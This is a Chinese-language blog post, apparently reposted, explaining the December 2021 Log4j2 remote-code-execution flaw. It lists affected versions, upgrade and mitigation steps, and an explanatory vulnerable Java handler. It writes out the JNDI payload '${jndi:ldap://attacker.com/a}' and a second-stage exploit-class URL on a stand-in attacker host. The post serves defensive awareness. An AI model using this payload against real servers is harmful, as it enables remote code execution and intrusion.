• 首页
  • 栏目
  • CRM
  • 影响太大了,连不懂代码的客户都来问Log4j2的0day漏洞

影响太大了,连不懂代码的客户都来问Log4j2的0day漏洞

  • 2021-12-11
  • Admin

今天早上醒来,知名的Java日志组件Apache Log4j2就刷爆了圈子。它被发现了一个 0 Day 漏洞,该Log4J2 漏洞可以让黑客通过日志记录远程执行代码(Remote Code Execution)。由于这个日志库被普遍使用,而这个漏洞又非常容易使用,所以造成的风险也非常严重,让人不得不提高防范。就连不懂代码的客户都来问系统是否存在这个问题。

受影响的版本

受本次漏洞影响的版本范围为Apache log4j2 2.0 - 2.14.1

安全版本

正式补丁版本2.15.0已发布,请立即升级。

  1.  <dependencies>
  2.    <dependency>
  3.      <groupId>org.apache.logging.log4jgroupId>
  4.      <artifactId>log4j-apiartifactId>
  5.      <version>2.15.0version>
  6.    dependency>
  7.    <dependency>
  8.      <groupId>org.apache.logging.log4jgroupId>
  9.      <artifactId>log4j-coreartifactId>
  10.      <version>2.15.0version>
  11.    dependency>
  12.  dependencies>
  13. 复制代码

临时补救措施

不是所有的应用和使用者都能及时升级到安全版本。目前也有临时的补救措施。

  • 修改JVM参数,设置 -Dlog4j2.formatMsgNoLookups=true
  • 在涉及漏洞的项目的类路径(classpath)下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true

攻击原理

  1.  import org.apache.log4j.Logger;
  2.  ​
  3.  import java.io.*;
  4.  import java.sql.SQLException;
  5.  import java.util.*;
  6.  ​
  7.  public class VulnerableLog4jExampleHandler implements HttpHandler {
  8.  ​
  9.    static Logger log = Logger.getLogger(log4jExample.class.getName());
  10.  ​
  11.    /**
  12.     * A simple HTTP endpoint that reads the request's User Agent and logs it back.
  13.     * This is basically pseudo-code to explain the vulnerability, and not a full example.
  14.     * @param he HTTP Request Object
  15.     */
  16.    public void handle(HttpExchange he) throws IOException {
  17.      string userAgent = he.getRequestHeader("user-agent");
  18.      
  19.      // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
  20.      // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
  21.      log.info("Request User Agent:" + userAgent);
  22.  ​
  23.      String response = "

    Hello There, " + userAgent + "!

    "
    ;
  24.      he.sendResponseHeaders(200, response.length());
  25.      OutputStream os = he.getResponseBody();
  26.      os.write(response.getBytes());
  27.      os.close();
  28.   }
  29.  }
  30. 复制代码

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

攻击步骤

  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  • 攻击者执行恶意脚本。

漏洞执行测试

不要小看这个漏洞

因为log4j的使用范围太广了,很多应用都中招了。

连Minecraft 游戏的PaperMC服务器都未能幸免。所以赶紧排查打补丁吧。

Minecraft PaperMC


作者:码农小胖哥
链接:https://juejin.cn/post/7040098410644373534
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

原文:https://blog.csdn.net/a1472750149/article/details/121874017

联系站长

QQ:769220720